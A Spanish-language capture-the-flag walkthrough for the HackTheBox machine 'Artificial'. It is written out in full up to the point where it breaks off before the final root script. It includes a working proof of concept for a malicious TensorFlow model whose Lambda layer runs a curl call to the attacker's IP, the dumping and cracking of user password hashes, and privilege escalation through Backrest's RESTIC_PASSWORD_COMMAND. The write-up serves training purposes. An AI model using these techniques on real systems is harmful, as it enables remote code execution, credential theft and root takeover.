En Artificial permite la ejecucion de modelos de Inteligencia Artificial con TensorFlow, vulnerable la cual permitio el acceso inicial. La base de datos contiene credenciales para un primer usuario. Se descubrio un backup de backrest con credenciales de acceso, se realizo Local Port Forwarding para acceder a su interfaz web. Con la creacion de un repositorio se logro escalar privilegios.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.95 scan initiated Sat Jun 21 13:12:17 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.74Nmap scan report for 10.10.11.74
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)|256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 21 13:12:33 2025 -- 1 IP address (1 host up) scanned in 15.68 seconds
Web Site
El sitio web nos redirige al dominio artificial.htb el cual agregamos al archivo /etc/hosts.
Encontramos que la version de Tensorflow es vulnerable Insecure Serialization por lo que es posible crear un modelo con codigo maligno para la ejecucion de comandos.
Utilizamos el entorno de docker “utilizado” por la maquina.
Ejecutamos la imagen especificando directorio actual para generar el modelo Poc.
1
2
3
4
5
6
7
PS C:\Users\htb\artificial> docker run --rm -it -v .:/code a421ecb6d1fd
root@cd4ccdbab035:/code# ls -lah
total 492K
drwxrwxrwx 1 root root 4.0K Jun 26 23:20 .
drwxr-xr-x 1 root root 4.0K Jun 26 23:48 ..
-rwxrwxrwx 1 root root 467 Jun 21 19:25 Dockerfile
root@cd4ccdbab035:/code#
El PoC tiene una solicitud http a nuestra IP.
1
2
3
4
5
6
7
8
9
10
11
12
import tensorflow as tf
def exploit(x):
import os
os.system("curl --max-time 1 10.10.14.94")return x
model= tf.keras.Sequential()model.add(tf.keras.layers.Input(shape=(64,)))model.add(tf.keras.layers.Lambda(exploit))model.compile()model.save("curl.h5")
Se genero el archivo/modelo curl.h5 donde se muestra que se intento realizar una conexion con curl.
1
2
3
4
5
6
7
8
9
10
root@cd4ccdbab035:/code# python file_model.py
2025-06-26 23:51:12.802174: I tensorflow/core/util/port.cc:110] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.
2025-06-26 23:51:12.828887: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 AVX512F AVX512_VNNI AVX512_BF16 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
curl: (28) Connection timed out after 1001 milliseconds
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
saving_api.save_model(root@cd4ccdbab035:/code# ls -lah curl.h5
-rw-r--r-- 1 root root 9.8K Jun 26 23:51 curl.h5
root@cd4ccdbab035:/code#
Cargamos el modelo al sitio, se muestra listado.
Al dar clic a View Predictions el modelo se ejecuta.
Se muestran solicitudes por parte de la maquina a nuestra direccion IP.
$ ls -lah instance
total 32K
drwxr-xr-x 2 app app 4.0K Jun 21 19:58 .
drwxrwxr-x 7 app app 4.0K Jun 21 20:00 ..
-rw-r--r-- 1 app app 24K Jun 21 19:58 users.db
$ cd instance
$ which sqlite
$ which sqlite3
/usr/bin/sqlite3
$ sqlite3
.open users.db
.tables
model user
.schema user
CREATE TABLE user ( id INTEGER NOT NULL,
username VARCHAR(100) NOT NULL,
email VARCHAR(120) NOT NULL,
password VARCHAR(200) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email));select username,password from user;gael|c99175974b6e192936d97224638a34f8
mark|0f3d8c76530022670f1c6029eed09ccb
robert|b606c5f5136170f15444251665638b36
royer|bc25b1f80f544c0ab451c02a3dca9fc6
mary|bf041041e57f1aff3be7ea1abd6129d0
sckull|9e8694e99216221dad8f6fd183904504
Hashes
crackstation muestra en texto plano el valor de dos hashes de usuarios.
Hash
Type
Result
c99175974b6e192936d97224638a34f8
md5
mattp005numbertwo
0f3d8c76530022670f1c6029eed09ccb
Unknown
Not found.
b606c5f5136170f15444251665638b36
Unknown
Not found.
bc25b1f80f544c0ab451c02a3dca9fc6
md5
marwinnarak043414036
bf041041e57f1aff3be7ea1abd6129d0
Unknown
Not found.
9e8694e99216221dad8f6fd183904504
md5
sckull
Check Password
Dentro de la pagina encontramos a gael como otro de los usuarios.
❯ ssh gael@artificial.htb
The authenticity of host 'artificial.htb (10.10.11.74)' can't be established.
ED25519 key fingerprint is SHA256:RfqGfdDw0WXbAPIqwri7LU4OspmhEFYPijXhBj6ceHs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'artificial.htb' (ED25519) to the list of known hosts.
gael@artificial.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat 21 Jun 2025 08:03:17 PM UTC
System load: 0.14
Usage of /: 69.8% of 7.53GB
Memory usage: 32%
Swap usage: 0%
Processes: 241 Users logged in: 1 IPv4 address for eth0: 10.10.11.74
IPv6 address for eth0: dead:beef::250:56ff:fe95:358f
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Jun 21 20:03:37 2025 from 10.10.14.94
gael@artificial:~$ whoami;id;pwdgael
uid=1000(gael)gid=1000(gael)groups=1000(gael),1007(sysadm)/home/gael
gael@artificial:~$ ls
user.txt
gael@artificial:~$ cat user.txt
60141f128ab87f469c9766698a9f59eb
gael@artificial:~$
Gael pertenece al grupo sysadm el cual tiene acceso a un archivo de backup.
1
2
3
4
5
6
7
8
gael@artificial:~$ id
uid=1000(gael)gid=1000(gael)groups=1000(gael),1007(sysadm)gael@artificial:~$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz
gael@artificial:~$ file /var/backups/backrest_backup.tar.gz
/var/backups/backrest_backup.tar.gz: POSIX tar archive (GNU)gael@artificial:~$ cd /dev/shm
gael@artificial:/dev/shm$
Backrest Backup
Tras extraer el contenido del backup se muestra configuracion y logs de backrest.
Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.
1
2
3
4
5
6
7
8
9
10
11
❯ john hash --wordlist=$ROCKUsing default input encoding: UTF-8
Loaded 1 password hash(bcrypt [Blowfish 32/64 X3])Cost 1(iteration count) is 1024for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^ (?)1g 0:00:00:23 DONE (2025-06-21 14:06) 0.04334g/s 234.0p/s 234.0c/s 234.0C/s baby16..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯
Local Port Forwarding
Obtuvimos localmente el puerto 9898 por medio de SSH realizando Local PortForwarding.
1
ssh gael@artificial.htb -fN -L 9898:0.0.0.0:9898
Se observa el puerto localmente.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ssh gael@artificial.htb -fN -L 9898:0.0.0.0:9898
gael@artificial.htb's password:
❯ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 0.0.0.0:8000 0.0.0.0:* LISTEN 49209/python
tcp 00 127.0.0.1:9898 0.0.0.0:* LISTEN 60702/ssh
tcp6 00 ::1:9898 :::* LISTEN 60702/ssh
tcp6 00 127.0.0.1:8080 :::* LISTEN 2004/java
tcp6 00 127.0.0.1:33539 :::* LISTEN 2004/java
❯
Backrest - Command Execution
Ingresamos al dashboard con las credenciales encontradas.
Siguiendo la documentacion de restic rellenamos el formulario para la creacion de un nuevo repositorio.
Una de las variables de entorno especifica:
Configuring a program to be called when the password is needed via the option –password-command or the environment variable RESTIC_PASSWORD_COMMAND
Esto permitiria ejecutar un comando especificado dentro de esta variable como root.
Creamos un script que realiza la copia de bash con permisos SUID.